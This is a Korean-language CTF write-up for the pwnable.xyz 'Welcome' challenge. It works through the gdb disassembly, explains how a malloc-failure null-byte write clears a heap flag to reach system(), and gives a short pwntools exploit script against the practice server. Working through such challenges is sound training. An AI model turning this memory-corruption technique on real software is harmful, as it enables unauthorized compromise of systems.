🗂️ INDEX

글 작성자: Universe7202

pwnable.xyz 사이트의 첫번째 문제 Welcome 문제이다,

 

Excute

우선 실행해보면 아래 처럼 출력이 되는 것을 볼 수 있다.

ubuntu:~/environment/ctf/pwnable.xyz/01_welcome/image/challenge $ ./challenge 
Welcome.
Leak: 0x7fb7e0f42010
Length of your message: 1
Enter your message: 1

 

 

 

 

Analyze

peda-gdb로 이번 문제를 분석해보겠다.

main 함수를 보려고 하니 찾을 수가 없다.

리눅스에서 main 함수의 주소를 찾기 위해서는 __libc_start_main 에 대해서 알아야 한다.

 

 

 

  • main 함수 찾기

아래 사이트를 보면 설명이 잘 되어 있다.

 

main startup routine bt

`` main``의 상위 frame은 `` __libc_start_main``이다. __libc_start_main `` __libc_start_main``은 `` init, fini, stack_end`` 등을 인자로 받는데, 첫 번째 인자로 `` main``의 함수 포인터를 받는다. ```c..

umbum.dev

위 내용을 요약해보면 main 함수의 호출 방법은 _start => __libc_start_main => main 함수 이다. 

__libc_start_main의 인자 값 중 첫번째 인자가 main 함수의 주소이다.

 

gdb에서 __libc_start_main의 시작부분에 breakpoint를 걸어 __libc_start_main의 첫번째 인자 값을 확인해보자.

프로그램을 실행한 다음 b __libc_start_main에 breakpoint를 걸어준다.

 

 

그 후 다시 실행하면 __libc_start_main 의 첫번째 줄에 멈추게 된다.

빨간색 네모 박스에 __libc_start_main의 첫번째 인자값인 main 함수의 주소가 저장되어 있다.

0x555555554920 가 main 함수의 주소이다.

 

 

  • main 함수 분석하기

main 함수의 주소를 알았으니 __libc_start_main의 breakpoint 를 지우고 0x555555554920에 breakpoint를 걸어준다.

gdb-peda$ d 1
gdb-peda$ b *0x555555554920                                                                                                        
Breakpoint 2 at 0x555555554920
gdb-peda$ 

 

실행하면 main 함수에서 멈추게 된다.

main 함수의 전체를 보기 위해서 x/56i 0x555555554920 라고 명령어를 입력하면 볼 수 있다.

gdb-peda$ x/56i 0x0000555555554920
=> 0x555555554920:      push   rbp
   0x555555554921:      push   rbx
   0x555555554922:      sub    rsp,0x18
   0x555555554926:      mov    rax,QWORD PTR fs:0x28
   0x55555555492f:      mov    QWORD PTR [rsp+0x8],rax
   0x555555554934:      xor    eax,eax
   0x555555554936:      call   0x555555554b4e
   0x55555555493b:      lea    rdi,[rip+0x2e2]        # 0x555555554c24
   0x555555554942:      call   0x5555555548b0 <puts@plt>
   0x555555554947:      mov    edi,0x40000
   0x55555555494c:      call   0x5555555548e8 <malloc@plt>
   0x555555554951:      lea    rsi,[rip+0x2d5]        # 0x555555554c2d
   0x555555554958:      mov    rdx,rax
   0x55555555495b:      mov    rbx,rax
   0x55555555495e:      mov    QWORD PTR [rax],0x1
   0x555555554965:      mov    edi,0x1
   0x55555555496a:      xor    eax,eax
   0x55555555496c:      call   0x5555555548f0 <__printf_chk@plt>
   0x555555554971:      lea    rsi,[rip+0x2bf]        # 0x555555554c37
   0x555555554978:      mov    edi,0x1
   0x55555555497d:      xor    eax,eax
   0x55555555497f:      call   0x5555555548f0 <__printf_chk@plt>
   0x555555554984:      lea    rdi,[rip+0x2c5]        # 0x555555554c50
   0x55555555498b:      mov    rsi,rsp
   0x55555555498e:      xor    eax,eax
   0x555555554990:      mov    QWORD PTR [rsp],0x0
   0x555555554998:      call   0x555555554900 <__isoc99_scanf@plt>
   0x55555555499d:      mov    rdi,QWORD PTR [rsp]
   0x5555555549a1:      call   0x5555555548e8 <malloc@plt>
   0x5555555549a6:      lea    rsi,[rip+0x2a7]        # 0x555555554c54
   0x5555555549ad:      mov    rbp,rax
   0x5555555549b0:      mov    edi,0x1
   0x5555555549b5:      xor    eax,eax
   0x5555555549b7:      call   0x5555555548f0 <__printf_chk@plt>
   0x5555555549bc:      mov    rdx,QWORD PTR [rsp]
   0x5555555549c0:      xor    edi,edi
   0x5555555549c2:      mov    rsi,rbp
   0x5555555549c5:      call   0x5555555548d8 <read@plt>
   0x5555555549ca:      mov    rdx,QWORD PTR [rsp]
   0x5555555549ce:      mov    rsi,rbp
   0x5555555549d1:      mov    edi,0x1
   0x5555555549d6:      mov    BYTE PTR [rbp+rdx*1-0x1],0x0
   0x5555555549db:      call   0x5555555548b8 <write@plt>
   0x5555555549e0:      cmp    QWORD PTR [rbx],0x0
   0x5555555549e4:      jne    0x5555555549f2
   0x5555555549e6:      lea    rdi,[rip+0x27c]        # 0x555555554c69
   0x5555555549ed:      call   0x5555555548c8 <system@plt>
   0x5555555549f2:      xor    eax,eax
   0x5555555549f4:      mov    rcx,QWORD PTR [rsp+0x8]
   0x5555555549f9:      xor    rcx,QWORD PTR fs:0x28
   0x555555554a02:      je     0x555555554a09
   0x555555554a04:      call   0x5555555548c0 <__stack_chk_fail@plt>
   0x555555554a09:      add    rsp,0x18
   0x555555554a0d:      pop    rbx
   0x555555554a0e:      pop    rbp
   0x555555554a0f:      ret    
gdb-peda$ 

 

 

첫번째 빨간색 박스를 보면, malloc 함수를 통해 0x40000 만큼 공간을 할당한다. return 값인 RAX(x64 에서 return 값은 RAX에 저장됨)는 주소값이 저장된다.

두번째 빨간색 박스를 보면, RAX에 저장된 주소에 참조된 값의 4btyes 값을 0x1로 대입한다. ( QWORD PTR [RAX], 0x1 )

세번째 빨간색 박스에서 RAX 주소를 출력한다.

네번째 박스에서, size를 입력받아 그 크기만큼 malloc 함수를 통해 메모리를 할당한다.

 

 

여기서 [rbp + rdx * 1 - 0x1] 에 저장된 주소를 참조하여 저장된 값을 0x0으로 바꾼다.

그 후 [rbx]의 주소에 저장된 값과 0x0을 비교하고 같으면 system 함수를 호출한다.

 

정리하면,

rbp와 rdx, rbx 가 무엇인지, 그리고 최종적으로 rbx가 0x0이 되어야 flag를 획득 할 수 있게 된다.

 

 

Write up

rbp와 rdx, rbx를 알기 위해 위 사진에서 첫번째 빨간색 박스에 breakpoint 를 걸어보겠다.

 

 

크기를 9로 하고, 입력값을 AAAAAAAA(8개)로 하여 값을 입력했다.

 

아까 breakpoint 걸어둔 곳에서 멈추었다.

이때의 register 값을 보면 아래와 같다.

RBP는 message 문자열이고, RDX는 문자열의 길이 임을 알 수 있다.

RBX는 위에서 0x40000 만큼 메모리를 할당한 후 0x1값을 대입한 값이다.

 

즉, 사용자가 입력한 문자열의 마지막 값을 0x0으로 바꾸고 

RBX (0x40000 만큼 메모리를 할당한 후 0x1값을 대입한 레지스터) 의 값과 0x0을 비교하는 것이다.

 

RBX의 값을 0x1에서 0x0으로 바꾸기 위해서는

mov    BYTE PTR [rbp+rdx*1-0x1],0x0

이 부분을 잘 이용해야 한다.

 

만약 크기를 입력하는 곳에 Leak 주소 + 0x1 을 입력하고,

message 를 입력하는 곳에 아무것도 입력을 하지 않는다면,

 

RBP = 0x0

RDX = Leak의 주소 + 0x1

 

이므로 BYTE PTR [rdx - 0x1] 와 같다.

RDX는 Leak의 주소이므로 RBX에 접근하여 0x1 값을 0x0으로 바꿀수 있게 된다.

 

 

 

 

Payload

python 없이 터미널로 flag 값을 획득해보면 아래와 같다.

 

Leak: 0x7f99540ae010 를 int로 바꾸면 140296516722704 이다. 여기서 1을 더해서 값을 입력하면 flag 값을 획득 할 수 있다.

python 으로 flag를 획득하려면 아래와 같다.

from pwn import *

p = remote("svc.pwnable.xyz", 30000)

p.recvuntil("Leak: ")
addr = int(p.recv(14), 16)

p.recvuntil(":")
p.sendline(str(int(addr + 0x1)))

p.recvuntil(":")
p.send("")

p.interactive()

 

'🚩CTF' 카테고리의 다른 글

[pwnable.xyz] add write up  (0) 2019.12.28
[pwnable.xyz] sub write up  (0) 2019.12.28
[LOB] - zombie_assassin -> succubus 풀이  (0) 2019.10.06
[LOB] - giant -> assassin 풀이  (0) 2019.10.06
[LOB] - darkknight -> bugbear 풀이  (0) 2019.10.06